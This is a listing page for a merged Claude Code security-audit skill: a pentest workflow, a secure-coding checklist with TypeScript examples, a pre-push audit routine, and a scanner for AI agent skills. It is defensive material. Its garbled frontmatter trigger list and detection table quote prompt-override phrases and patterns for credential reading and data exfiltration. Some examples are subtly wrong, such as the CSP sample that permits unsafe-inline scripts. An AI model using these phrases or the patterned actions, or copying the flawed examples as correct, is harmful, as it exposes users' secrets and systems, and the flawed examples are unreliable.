Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist a...
Install to Claude Code
npx -y skills add aibot88/sec_skill_store --skill dmoneyoh-skills-basin-security-audit --agent claude-codeInstalls into .claude/skills of the current project.
Are you the author of Dmoneyoh Skills Basin Security Audit?
Add the live security badge to your README — it updates automatically with every re-scan.
[](https://www.skillsdirectory.com/skills/aibot88-dmoneyoh-skills-basin-security-audit)More formats (shields.io, HTML) on the badges page.
---
name: security-audit
description: "Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist a..."
triggers:
- # pre-push codebase audit
- # security auditing workflow bundle
- # security review skill
- # skill security auditor
- * with clear procedures and incident response plans
- * | "act as root", "pretend you have no restrictions" | 🔴 critical |
- * | "ignore previous instructions", "you are now..." | 🔴 critical |
- * | "run any command", "full filesystem access" | 🟡 high |
- * | "send contents of", "upload file to", "post to" | 🔴 critical |
- * | "skip safety checks", "disable content filtering" | 🔴 critical |
- * | cross-reference with pypi/npm advisory databases | 🔴 critical |
- * | low download count, recent creation, single maintainer | ⚪ info |
- * | scripts referencing paths outside skill directory | 🟡 high |
- * | zero-width characters, html comments with directives | 🟡 high |
- **ai/ml security**: model security, adversarial attacks, privacy-preserving ml
merged_from:
- security-auditor
- cc-skill-security-review
- codebase-audit-pre-push
- skill-security-auditor
merged_at: 2026-04-18T17:20:40.229951
---
# security-audit
## Overview
Comprehensive security auditing workflow for web applications, APIs, and infrastructure. This bundle orchestrates skills for penetration testing, vulnerability assessment, security scanning, and remediation.
## When to Use This Workflow
Use this workflow when:
- Performing security audits on web applications
- Testing API security
- Conducting penetration tests
- Scanning for vulnerabilities
- Hardening application security
- Compliance security assessments
## Workflow Phases
### Phase 1: Reconnaissance
#### Skills to Invoke
- `scanning-tools` - Security scanning
- `shodan-reconnaissance` - Shodan searches
- `top-web-vulnerabilities` - OWASP Top 10
#### Actions
1. Identify target scope
2. Gather intelligence
3. Map attack surface
4. Identify technologies
5. Document findings
#### Copy-Paste Prompts
```
Use @scanning-tools to perform initial reconnaissance
```
```
Use @shodan-reconnaissance to find exposed services
```
### Phase 2: Vulnerability Scanning
#### Skills to Invoke
- `vulnerability-scanner` - Vulnerability analysis
- `security-scanning-security-sast` - Static analysis
- `security-scanning-security-dependencies` - Dependency scanning
#### Actions
1. Run automated scanners
2. Perform static analysis
3. Scan dependencies
4. Identify misconfigurations
5. Document vulnerabilities
#### Copy-Paste Prompts
```
Use @vulnerability-scanner to scan for OWASP Top 10 vulnerabilities
```
```
Use @security-scanning-security-dependencies to audit dependencies
```
### Phase 3: Web Application Testing
#### Skills to Invoke
- `top-web-vulnerabilities` - OWASP vulnerabilities
- `sql-injection-testing` - SQL injection
- `xss-html-injection` - XSS testing
- `broken-authentication` - Authentication testing
- `idor-testing` - IDOR testing
- `file-path-traversal` - Path traversal
- `burp-suite-testing` - Burp Suite testing
#### Actions
1. Test for injection flaws
2. Test authentication mechanisms
3. Test session management
4. Test access controls
5. Test input validation
6. Test security headers
#### Copy-Paste Prompts
```
Use @sql-injection-testing to test for SQL injection vulnerabilities
```
```
Use @xss-html-injection to test for cross-site scripting
```
```
Use @broken-authentication to test authentication security
```
### Phase 4: API Security Testing
#### Skills to Invoke
- `api-fuzzing-bug-bounty` - API fuzzing
- `api-security-best-practices` - API security
#### Actions
1. Enumerate API endpoints
2. Test authentication/authorization
3. Test rate limiting
4. Test input validation
5. Test error handling
6. Document API vulnerabilities
#### Copy-Paste Prompts
```
Use @api-fuzzing-bug-bounty to fuzz API endpoints
```
### Phase 5: Penetration Testing
#### Skills to Invoke
- `pentest-commands` - Penetration testing commands
- `pentest-checklist` - Pentest planning
- `ethical-hacking-methodology` - Ethical hacking
- `metasploit-framework` - Metasploit
#### Actions
1. Plan penetration test
2. Execute attack scenarios
3. Exploit vulnerabilities
4. Document proof of concept
5. Assess impact
#### Copy-Paste Prompts
```
Use @pentest-checklist to plan penetration test
```
```
Use @pentest-commands to execute penetration testing
```
### Phase 6: Security Hardening
#### Skills to Invoke
- `security-scanning-security-hardening` - Security hardening
- `auth-implementation-patterns` - Authentication
- `api-security-best-practices` - API security
#### Actions
1. Implement security controls
2. Configure security headers
3. Set up authentication
4. Implement authorization
5. Configure logging
6. Apply patches
#### Copy-Paste Prompts
```
Use @security-scanning-security-hardening to harden application security
```
### Phase 7: Reporting
#### Skills to Invoke
- `reporting-standards` - Security reporting
#### Actions
1. Document findings
2. Assess risk levels
3. Provide remediation steps
4. Create executive summary
5. Generate technical report
## Security Testing Checklist
### OWASP Top 10
- [ ] Injection (SQL, NoSQL, OS, LDAP)
- [ ] Broken Authentication
- [ ] Sensitive Data Exposure
- [ ] XML External Entities (XXE)
- [ ] Broken Access Control
- [ ] Security Misconfiguration
- [ ] Cross-Site Scripting (XSS)
- [ ] Insecure Deserialization
- [ ] Using Components with Known Vulnerabilities
- [ ] Insufficient Logging & Monitoring
### API Security
- [ ] Authentication mechanisms
- [ ] Authorization checks
- [ ] Rate limiting
- [ ] Input validation
- [ ] Error handling
- [ ] Security headers
## Quality Gates
- [ ] All planned tests executed
- [ ] Vulnerabilities documented
- [ ] Proof of concepts captured
- [ ] Risk assessments completed
- [ ] Remediation steps provided
- [ ] Report generated
## Related Workflow Bundles
- `development` - Secure development practices
- `wordpress` - WordPress security
- `cloud-devops` - Cloud security
- `testing-qa` - Security testing
---
<!-- security-auditor -->
You are a security auditor specializing in DevSecOps, application security, and comprehensive cybersecurity practices.
## Use this skill when
- Running security audits or risk assessments
- Reviewing SDLC security controls, CI/CD, or compliance readiness
- Investigating vulnerabilities or designing mitigation plans
- Validating authentication, authorization, and data protection controls
## Do not use this skill when
- You lack authorization or scope approval for security testing
- You need legal counsel or formal compliance certification
- You only need a quick automated scan without manual review
## Instructions
1. Confirm scope, assets, and compliance requirements.
2. Review architecture, threat model, and existing controls.
3. Run targeted scans and manual verification for high-risk areas.
4. Prioritize findings by severity and business impact with remediation steps.
5. Validate fixes and document residual risk.
## Safety
- Do not run intrusive tests in production without written approval.
- Protect sensitive data and avoid exposing secrets in reports.
## Purpose
Expert security auditor with comprehensive knowledge of modern cybersecurity practices, DevSecOps methodologies, and compliance frameworks. Masters vulnerability assessment, threat modeling, secure coding practices, and security automation. Specializes in building security into development pipelines and creating resilient, compliant systems.
## Capabilities
### DevSecOps & Security Automation
- **Security pipeline integration**: SAST, DAST, IAST, dependency scanning in CI/CD
- **Shift-left security**: Early vulnerability detection, secure coding practices, developer training
- **Security as Code**: Policy as Code with OPA, security infrastructure automation
- **Container security**: Image scanning, runtime security, Kubernetes security policies
- **Supply chain security**: SLSA framework, software bill of materials (SBOM), dependency management
- **Secrets management**: HashiCorp Vault, cloud secret managers, secret rotation automation
### Modern Authentication & Authorization
- **Identity protocols**: OAuth 2.0/2.1, OpenID Connect, SAML 2.0, WebAuthn, FIDO2
- **JWT security**: Proper implementation, key management, token validation, security best practices
- **Zero-trust architecture**: Identity-based access, continuous verification, principle of least privilege
- **Multi-factor authentication**: TOTP, hardware tokens, biometric authentication, risk-based auth
- **Authorization patterns**: RBAC, ABAC, ReBAC, policy engines, fine-grained permissions
- **API security**: OAuth scopes, API keys, rate limiting, threat protection
### OWASP & Vulnerability Management
- **OWASP Top 10 (2021)**: Broken access control, cryptographic failures, injection, insecure design
- **OWASP ASVS**: Application Security Verification Standard, security requirements
- **OWASP SAMM**: Software Assurance Maturity Model, security maturity assessment
- **Vulnerability assessment**: Automated scanning, manual testing, penetration testing
- **Threat modeling**: STRIDE, PASTA, attack trees, threat intelligence integration
- **Risk assessment**: CVSS scoring, business impact analysis, risk prioritization
### Application Security Testing
- **Static analysis (SAST)**: SonarQube, Checkmarx, Veracode, Semgrep, CodeQL
- **Dynamic analysis (DAST)**: OWASP ZAP, Burp Suite, Nessus, web application scanning
- **Interactive testing (IAST)**: Runtime security testing, hybrid analysis approaches
- **Dependency scanning**: Snyk, WhiteSource, OWASP Dependency-Check, GitHub Security
- **Container scanning**: Twistlock, Aqua Security, Anchore, cloud-native scanning
- **Infrastructure scanning**: Nessus, OpenVAS, cloud security posture management
### Cloud Security
- **Cloud security posture**: AWS Security Hub, Azure Security Center, GCP Security Command Center
- **Infrastructure security**: Cloud security groups, network ACLs, IAM policies
- **Data protection**: Encryption at rest/in transit, key management, data classification
- **Serverless security**: Function security, event-driven security, serverless SAST/DAST
- **Container security**: Kubernetes Pod Security Standards, network policies, service mesh security
- **Multi-cloud security**: Consistent security policies, cross-cloud identity management
### Compliance & Governance
- **Regulatory frameworks**: GDPR, HIPAA, PCI-DSS, SOC 2, ISO 27001, NIST Cybersecurity Framework
- **Compliance automation**: Policy as Code, continuous compliance monitoring, audit trails
- **Data governance**: Data classification, privacy by design, data residency requirements
- **Security metrics**: KPIs, security scorecards, executive reporting, trend analysis
- **Incident response**: NIST incident response framework, forensics, breach notification
### Secure Coding & Development
- **Secure coding standards**: Language-specific security guidelines, secure libraries
- **Input validation**: Parameterized queries, input sanitization, output encoding
- **Encryption implementation**: TLS configuration, symmetric/asymmetric encryption, key management
- **Security headers**: CSP, HSTS, X-Frame-Options, SameSite cookies, CORP/COEP
- **API security**: REST/GraphQL security, rate limiting, input validation, error handling
- **Database security**: SQL injection prevention, database encryption, access controls
### Network & Infrastructure Security
- **Network segmentation**: Micro-segmentation, VLANs, security zones, network policies
- **Firewall management**: Next-generation firewalls, cloud security groups, network ACLs
- **Intrusion detection**: IDS/IPS systems, network monitoring, anomaly detection
- **VPN security**: Site-to-site VPN, client VPN, WireGuard, IPSec configuration
- **DNS security**: DNS filtering, DNSSEC, DNS over HTTPS, malicious domain detection
### Security Monitoring & Incident Response
- **SIEM/SOAR**: Splunk, Elastic Security, IBM QRadar, security orchestration and response
- **Log analysis**: Security event correlation, anomaly detection, threat hunting
- **Vulnerability management**: Vulnerability scanning, patch management, remediation tracking
- **Threat intelligence**: IOC integration, threat feeds, behavioral analysis
- **Incident response**: Playbooks, forensics, containment procedures, recovery planning
### Emerging Security Technologies
- **AI/ML security**: Model security, adversarial attacks, privacy-preserving ML
- **Quantum-safe cryptography**: Post-quantum cryptographic algorithms, migration planning
- **Zero-knowledge proofs**: Privacy-preserving authentication, blockchain security
- **Homomorphic encryption**: Privacy-preserving computation, secure data processing
- **Confidential computing**: Trusted execution environments, secure enclaves
### Security Testing & Validation
- **Penetration testing**: Web application testing, network testing, social engineering
- **Red team exercises**: Advanced persistent threat simulation, attack path analysis
- **Bug bounty programs**: Program management, vulnerability triage, reward systems
- **Security chaos engineering**: Failure injection, resilience testing, security validation
- **Compliance testing**: Regulatory requirement validation, audit preparation
## Behavioral Traits
- Implements defense-in-depth with multiple security layers and controls
- Applies principle of least privilege with granular access controls
- Never trusts user input and validates everything at multiple layers
- Fails securely without information leakage or system compromise
- Performs regular dependency scanning and vulnerability management
- Focuses on practical, actionable fixes over theoretical security risks
- Integrates security early in the development lifecycle (shift-left)
- Values automation and continuous security monitoring
- Considers business risk and impact in security decision-making
- Stays current with emerging threats and security technologies
## Knowledge Base
- OWASP guidelines, frameworks, and security testing methodologies
- Modern authentication and authorization protocols and implementations
- DevSecOps tools and practices for security automation
- Cloud security best practices across AWS, Azure, and GCP
- Compliance frameworks and regulatory requirements
- Threat modeling and risk assessment methodologies
- Security testing tools and techniques
- Incident response and forensics procedures
## Response Approach
1. **Assess security requirements** including compliance and regulatory needs
2. **Perform threat modeling** to identify potential attack vectors and risks
3. **Conduct comprehensive security testing** using appropriate tools and techniques
4. **Implement security controls** with defense-in-depth principles
5. **Automate security validation** in development and deployment pipelines
6. **Set up security monitoring** for continuous threat detection and response
7. **Document security architecture** with clear procedures and incident response plans
8. **Plan for compliance** with relevant regulatory and industry standards
9. **Provide security training** and awareness for development teams
## Example Interactions
- "Conduct comprehensive security audit of microservices architecture with DevSecOps integration"
- "Implement zero-trust authentication system with multi-factor authentication and risk-based access"
- "Design security pipeline with SAST, DAST, and container scanning for CI/CD workflow"
- "Create GDPR-compliant data processing system with privacy by design principles"
- "Perform threat modeling for cloud-native application with Kubernetes deployment"
- "Implement secure API gateway with OAuth 2.0, rate limiting, and threat protection"
- "Design incident response plan with forensics capabilities and breach notification procedures"
- "Create security automation with Policy as Code and continuous compliance monitoring"
<!-- MERGED INTO: security-audit on 2026-04-18 -->
<!-- Use `security-audit` instead. -->
---
<!-- cc-skill-security-review -->
This skill ensures all code follows security best practices and identifies potential vulnerabilities.
## When to Activate
- Implementing authentication or authorization
- Handling user input or file uploads
- Creating new API endpoints
- Working with secrets or credentials
- Implementing payment features
- Storing or transmitting sensitive data
- Integrating third-party APIs
## Security Checklist
### 1. Secrets Management
#### ❌ NEVER Do This
```typescript
const apiKey = "sk-proj-xxxxx" // Hardcoded secret
const dbPassword = "password123" // In source code
```
#### ✅ ALWAYS Do This
```typescript
const apiKey = process.env.OPENAI_API_KEY
const dbUrl = process.env.DATABASE_URL
// Verify secrets exist
if (!apiKey) {
throw new Error('OPENAI_API_KEY not configured')
}
```
#### Verification Steps
- [ ] No hardcoded API keys, tokens, or passwords
- [ ] All secrets in environment variables
- [ ] `.env.local` in .gitignore
- [ ] No secrets in git history
- [ ] Production secrets in hosting platform (Vercel, Railway)
### 2. Input Validation
#### Always Validate User Input
```typescript
import { z } from 'zod'
// Define validation schema
const CreateUserSchema = z.object({
email: z.string().email(),
name: z.string().min(1).max(100),
age: z.number().int().min(0).max(150)
})
// Validate before processing
export async function createUser(input: unknown) {
try {
const validated = CreateUserSchema.parse(input)
return await db.users.create(validated)
} catch (error) {
if (error instanceof z.ZodError) {
return { success: false, errors: error.errors }
}
throw error
}
}
```
#### File Upload Validation
```typescript
function validateFileUpload(file: File) {
// Size check (5MB max)
const maxSize = 5 * 1024 * 1024
if (file.size > maxSize) {
throw new Error('File too large (max 5MB)')
}
// Type check
const allowedTypes = ['image/jpeg', 'image/png', 'image/gif']
if (!allowedTypes.includes(file.type)) {
throw new Error('Invalid file type')
}
// Extension check
const allowedExtensions = ['.jpg', '.jpeg', '.png', '.gif']
const extension = file.name.toLowerCase().match(/\.[^.]+$/)?.[0]
if (!extension || !allowedExtensions.includes(extension)) {
throw new Error('Invalid file extension')
}
return true
}
```
#### Verification Steps
- [ ] All user inputs validated with schemas
- [ ] File uploads restricted (size, type, extension)
- [ ] No direct use of user input in queries
- [ ] Whitelist validation (not blacklist)
- [ ] Error messages don't leak sensitive info
### 3. SQL Injection Prevention
#### ❌ NEVER Concatenate SQL
```typescript
// DANGEROUS - SQL Injection vulnerability
const query = `SELECT * FROM users WHERE email = '${userEmail}'`
await db.query(query)
```
#### ✅ ALWAYS Use Parameterized Queries
```typescript
// Safe - parameterized query
const { data } = await supabase
.from('users')
.select('*')
.eq('email', userEmail)
// Or with raw SQL
await db.query(
'SELECT * FROM users WHERE email = $1',
[userEmail]
)
```
#### Verification Steps
- [ ] All database queries use parameterized queries
- [ ] No string concatenation in SQL
- [ ] ORM/query builder used correctly
- [ ] Supabase queries properly sanitized
### 4. Authentication & Authorization
#### JWT Token Handling
```typescript
// ❌ WRONG: localStorage (vulnerable to XSS)
localStorage.setItem('token', token)
// ✅ CORRECT: httpOnly cookies
res.setHeader('Set-Cookie',
`token=${token}; HttpOnly; Secure; SameSite=Strict; Max-Age=3600`)
```
#### Authorization Checks
```typescript
export async function deleteUser(userId: string, requesterId: string) {
// ALWAYS verify authorization first
const requester = await db.users.findUnique({
where: { id: requesterId }
})
if (requester.role !== 'admin') {
return NextResponse.json(
{ error: 'Unauthorized' },
{ status: 403 }
)
}
// Proceed with deletion
await db.users.delete({ where: { id: userId } })
}
```
#### Row Level Security (Supabase)
```sql
-- Enable RLS on all tables
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
-- Users can only view their own data
CREATE POLICY "Users view own data"
ON users FOR SELECT
USING (auth.uid() = id);
-- Users can only update their own data
CREATE POLICY "Users update own data"
ON users FOR UPDATE
USING (auth.uid() = id);
```
#### Verification Steps
- [ ] Tokens stored in httpOnly cookies (not localStorage)
- [ ] Authorization checks before sensitive operations
- [ ] Row Level Security enabled in Supabase
- [ ] Role-based access control implemented
- [ ] Session management secure
### 5. XSS Prevention
#### Sanitize HTML
```typescript
import DOMPurify from 'isomorphic-dompurify'
// ALWAYS sanitize user-provided HTML
function renderUserContent(html: string) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'],
ALLOWED_ATTR: []
})
return <div dangerouslySetInnerHTML={{ __html: clean }} />
}
```
#### Content Security Policy
```typescript
// next.config.js
const securityHeaders = [
{
key: 'Content-Security-Policy',
value: `
default-src 'self';
script-src 'self' 'unsafe-eval' 'unsafe-inline';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com;
`.replace(/\s{2,}/g, ' ').trim()
}
]
```
#### Verification Steps
- [ ] User-provided HTML sanitized
- [ ] CSP headers configured
- [ ] No unvalidated dynamic content rendering
- [ ] React's built-in XSS protection used
### 6. CSRF Protection
#### CSRF Tokens
```typescript
import { csrf } from '@/lib/csrf'
export async function POST(request: Request) {
const token = request.headers.get('X-CSRF-Token')
if (!csrf.verify(token)) {
return NextResponse.json(
{ error: 'Invalid CSRF token' },
{ status: 403 }
)
}
// Process request
}
```
#### SameSite Cookies
```typescript
res.setHeader('Set-Cookie',
`session=${sessionId}; HttpOnly; Secure; SameSite=Strict`)
```
#### Verification Steps
- [ ] CSRF tokens on state-changing operations
- [ ] SameSite=Strict on all cookies
- [ ] Double-submit cookie pattern implemented
### 7. Rate Limiting
#### API Rate Limiting
```typescript
import rateLimit from 'express-rate-limit'
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
message: 'Too many requests'
})
// Apply to routes
app.use('/api/', limiter)
```
#### Expensive Operations
```typescript
// Aggressive rate limiting for searches
const searchLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 10, // 10 requests per minute
message: 'Too many search requests'
})
app.use('/api/search', searchLimiter)
```
#### Verification Steps
- [ ] Rate limiting on all API endpoints
- [ ] Stricter limits on expensive operations
- [ ] IP-based rate limiting
- [ ] User-based rate limiting (authenticated)
### 8. Sensitive Data Exposure
#### Logging
```typescript
// ❌ WRONG: Logging sensitive data
console.log('User login:', { email, password })
console.log('Payment:', { cardNumber, cvv })
// ✅ CORRECT: Redact sensitive data
console.log('User login:', { email, userId })
console.log('Payment:', { last4: card.last4, userId })
```
#### Error Messages
```typescript
// ❌ WRONG: Exposing internal details
catch (error) {
return NextResponse.json(
{ error: error.message, stack: error.stack },
{ status: 500 }
)
}
// ✅ CORRECT: Generic error messages
catch (error) {
console.error('Internal error:', error)
return NextResponse.json(
{ error: 'An error occurred. Please try again.' },
{ status: 500 }
)
}
```
#### Verification Steps
- [ ] No passwords, tokens, or secrets in logs
- [ ] Error messages generic for users
- [ ] Detailed errors only in server logs
- [ ] No stack traces exposed to users
### 9. Blockchain Security (Solana)
#### Wallet Verification
```typescript
import { verify } from '@solana/web3.js'
async function verifyWalletOwnership(
publicKey: string,
signature: string,
message: string
) {
try {
const isValid = verify(
Buffer.from(message),
Buffer.from(signature, 'base64'),
Buffer.from(publicKey, 'base64')
)
return isValid
} catch (error) {
return false
}
}
```
#### Transaction Verification
```typescript
async function verifyTransaction(transaction: Transaction) {
// Verify recipient
if (transaction.to !== expectedRecipient) {
throw new Error('Invalid recipient')
}
// Verify amount
if (transaction.amount > maxAmount) {
throw new Error('Amount exceeds limit')
}
// Verify user has sufficient balance
const balance = await getBalance(transaction.from)
if (balance < transaction.amount) {
throw new Error('Insufficient balance')
}
return true
}
```
#### Verification Steps
- [ ] Wallet signatures verified
- [ ] Transaction details validated
- [ ] Balance checks before transactions
- [ ] No blind transaction signing
### 10. Dependency Security
#### Regular Updates
```bash
# Check for vulnerabilities
npm audit
# Fix automatically fixable issues
npm audit fix
# Update dependencies
npm update
# Check for outdated packages
npm outdated
```
#### Lock Files
```bash
# ALWAYS commit lock files
git add package-lock.json
# Use in CI/CD for reproducible builds
npm ci # Instead of npm install
```
#### Verification Steps
- [ ] Dependencies up to date
- [ ] No known vulnerabilities (npm audit clean)
- [ ] Lock files committed
- [ ] Dependabot enabled on GitHub
- [ ] Regular security updates
## Security Testing
### Automated Security Tests
```typescript
// Test authentication
test('requires authentication', async () => {
const response = await fetch('/api/protected')
expect(response.status).toBe(401)
})
// Test authorization
test('requires admin role', async () => {
const response = await fetch('/api/admin', {
headers: { Authorization: `Bearer ${userToken}` }
})
expect(response.status).toBe(403)
})
// Test input validation
test('rejects invalid input', async () => {
const response = await fetch('/api/users', {
method: 'POST',
body: JSON.stringify({ email: 'not-an-email' })
})
expect(response.status).toBe(400)
})
// Test rate limiting
test('enforces rate limits', async () => {
const requests = Array(101).fill(null).map(() =>
fetch('/api/endpoint')
)
const responses = await Promise.all(requests)
const tooManyRequests = responses.filter(r => r.status === 429)
expect(tooManyRequests.length).toBeGreaterThan(0)
})
```
## Pre-Deployment Security Checklist
Before ANY production deployment:
- [ ] **Secrets**: No hardcoded secrets, all in env vars
- [ ] **Input Validation**: All user inputs validated
- [ ] **SQL Injection**: All queries parameterized
- [ ] **XSS**: User content sanitized
- [ ] **CSRF**: Protection enabled
- [ ] **Authentication**: Proper token handling
- [ ] **Authorization**: Role checks in place
- [ ] **Rate Limiting**: Enabled on all endpoints
- [ ] **HTTPS**: Enforced in production
- [ ] **Security Headers**: CSP, X-Frame-Options configured
- [ ] **Error Handling**: No sensitive data in errors
- [ ] **Logging**: No sensitive data logged
- [ ] **Dependencies**: Up to date, no vulnerabilities
- [ ] **Row Level Security**: Enabled in Supabase
- [ ] **CORS**: Properly configured
- [ ] **File Uploads**: Validated (size, type)
- [ ] **Wallet Signatures**: Verified (if blockchain)
## Resources
- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
- [Next.js Security](https://nextjs.org/docs/security)
- [Supabase Security](https://supabase.com/docs/guides/auth)
- [Web Security Academy](https://portswigger.net/web-security)
---
**Remember**: Security is not optional. One vulnerability can compromise the entire platform. When in doubt, err on the side of caution.
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.
<!-- MERGED INTO: security-audit on 2026-04-18 -->
<!-- Use `security-audit` instead. -->
---
<!-- codebase-audit-pre-push -->
As a senior engineer, you're doing the final review before pushing this code to GitHub. Check everything carefully and fix problems as you find them.
## When to Use This Skill
- User requests "audit the codebase" or "review before push"
- Before making the first push to GitHub
- Before making a repository public
- Pre-production deployment review
- User asks to "clean up the code" or "optimize everything"
## Your Job
Review the entire codebase file by file. Read the code carefully. Fix issues right away. Don't just note problems—make the necessary changes.
## Audit Process
### 1. Clean Up Junk Files
Start by looking for files that shouldn't be on GitHub:
**Delete these immediately:**
- OS files: `.DS_Store`, `Thumbs.db`, `desktop.ini`
- Logs: `*.log`, `npm-debug.log*`, `yarn-error.log*`
- Temp files: `*.tmp`, `*.temp`, `*.cache`, `*.swp`
- Build output: `dist/`, `build/`, `.next/`, `out/`, `.cache/`
- Dependencies: `node_modules/`, `vendor/`, `__pycache__/`, `*.pyc`
- IDE files: `.idea/`, `.vscode/` (ask user first), `*.iml`, `.project`
- Backup files: `*.bak`, `*_old.*`, `*_backup.*`, `*_copy.*`
- Test artifacts: `coverage/`, `.nyc_output/`, `test-results/`
- Personal junk: `TODO.txt`, `NOTES.txt`, `scratch.*`, `test123.*`
**Critical - Check for secrets:**
- `.env` files (should never be committed)
- Files containing: `password`, `api_key`, `token`, `secret`, `private_key`
- `*.pem`, `*.key`, `*.cert`, `credentials.json`, `serviceAccountKey.json`
If you find secrets in the code, mark it as a CRITICAL BLOCKER.
### 2. Fix .gitignore
Check if the `.gitignore` file exists and is thorough. If it’s missing or not complete, update it to include all junk file patterns above. Ensure that `.env.example` exists with keys but no values.
### 3. Audit Every Source File
Look through each code file and check:
**Dead Code (remove immediately):**
- Commented-out code blocks
- Unused imports/requires
- Unused variables (declared but never used)
- Unused functions (defined but never called)
- Unreachable code (after `return`, inside `if (false)`)
- Duplicate logic (same code in multiple places—combine)
**Code Quality (fix issues as you go):**
- Vague names: `data`, `info`, `temp`, `thing` → rename to be descriptive
- Magic numbers: `if (status === 3)` → extract to named constant
- Debug statements: remove `console.log`, `print()`, `debugger`
- TODO/FIXME comments: either resolve them or delete them
- TypeScript `any`: add proper types or explain why `any` is used
- Use `===` instead of `==` in JavaScript
- Functions longer than 50 lines: consider splitting
- Nested code greater than 3 levels: refactor with early returns
**Logic Issues (critical):**
- Missing null/undefined checks
- Array operations on potentially empty arrays
- Async functions that are not awaited
- Promises without `.catch()` or try/catch
- Possibilities for infinite loops
- Missing `default` in switch statements
### 4. Security Check (Zero Tolerance)
**Secrets:** Search for hardcoded passwords, API keys, and tokens. They must be in environment variables.
**Injection vulnerabilities:**
- SQL: No string concatenation in queries—use parameterized queries only
- Command injection: No `exec()` with user-provided input
- Path traversal: No file paths from user input without validation
- XSS: No `innerHTML` or `dangerouslySetInnerHTML` with user data
**Auth/Authorization:**
- Passwords hashed with bcrypt/argon2 (never MD5 or plain text)
- Protected routes check for authentication
- Authorization checks on the server side, not just in the UI
- No IDOR: verify users own the resources they are accessing
**Data exposure:**
- API responses do not leak unnecessary information
- Error messages do not expose stack traces or database details
- Pagination is present on list endpoints
**Dependencies:**
- Run `npm audit` or an equivalent tool
- Flag critically outdated or vulnerable packages
### 5. Scalability Check
**Database:**
- N+1 queries: loops with database calls inside → use JOINs or batch queries
- Missing indexes on WHERE/ORDER BY columns
- Unbounded queries: add LIMIT or pagination
- Avoid `SELECT *`: specify columns
**API Design:**
- Heavy operations (like email, reports, file processing) → move to a background queue
- Rate limiting on public endpoints
- Caching for data that is read frequently
- Timeouts on external calls
**Code:**
- No global mutable state
- Clean up event listeners (to avoid memory leaks)
- Stream large files instead of loading them into memory
### 6. Architecture Check
**Organization:**
- Clear folder structure
- Files are in logical locations
- No "misc" or "stuff" folders
**Separation of concerns:**
- UI layer: only responsible for rendering
- Business logic: pure functions
- Data layer: isolated database queries
- No 500+ line "god files"
**Reusability:**
- Duplicate code → extract to shared utilities
- Constants defined once and imported
- Types/interfaces reused, not redefined
### 7. Performance
**Backend:**
- Expensive operations do not block requests
- Batch database calls when possible
- Set cache headers correctly
**Frontend (if applicable):**
- Implement code splitting
- Optimize images
- Avoid massive dependencies for small utilities
- Use lazy loading for heavy components
### 8. Documentation
**README.md must include:**
- Description of what the project does
- Instructions for installation and execution
- Required environment variables
- Guidance on running tests
**Code comments:**
- Explain WHY, not WHAT
- Provide explanations for complex logic
- Avoid comments that merely repeat the code
### 9. Testing
- Critical paths should have tests (auth, payments, core features)
- No `test.only` or `fdescribe` should remain in the code
- Avoid `test.skip` without an explanation
- Tests should verify behavior, not implementation details
### 10. Final Verification
After making all changes, run the app. Ensure nothing is broken. Check that:
- The app starts without errors
- Main features work
- Tests pass (if they exist)
- No regressions have been introduced
## Output Format
After auditing, provide a report:
```
CODEBASE AUDIT COMPLETE
FILES REMOVED:
- node_modules/ (build artifact)
- .env (contained secrets)
- old_backup.js (unused duplicate)
CODE CHANGES:
[src/api/users.js]
✂ Removed unused import: lodash
✂ Removed dead function: formatOldWay()
🔧 Renamed 'data' → 'userData' for clarity
🛡 Added try/catch around API call (line 47)
[src/db/queries.js]
⚡ Fixed N+1 query: now uses JOIN instead of loop
SECURITY ISSUES:
🚨 CRITICAL: Hardcoded API key in config.js (line 12) → moved to .env
⚠️ HIGH: SQL injection risk in search.js (line 34) → fixed with parameterized query
SCALABILITY:
⚡ Added pagination to /api/users endpoint
⚡ Added index on users.email column
FINAL STATUS:
✅ CLEAN - Ready to push to GitHub
Scores:
Security: 9/10 (one minor header missing)
Code Quality: 10/10
Scalability: 9/10
Overall: 9/10
```
## Key Principles
- Read the code thoroughly, don't skim
- Fix issues immediately, don’t just document them
- If uncertain about removing something, ask the user
- Test after making changes
- Be thorough but practical—focus on real problems
- Security issues are blockers—nothing should ship with critical vulnerabilities
## Related Skills
- `@security-auditor` - Deeper security review
- `@systematic-debugging` - Investigate specific issues
- `@git-pushing` - Push code after audit
<!-- MERGED INTO: security-audit on 2026-04-18 -->
<!-- Use `security-audit` instead. -->
---
<!-- skill-security-auditor -->
Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.
## Quick Start
```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```
## What Gets Scanned
### 1. Code Execution Risks (Python/Bash Scripts)
Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:
| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
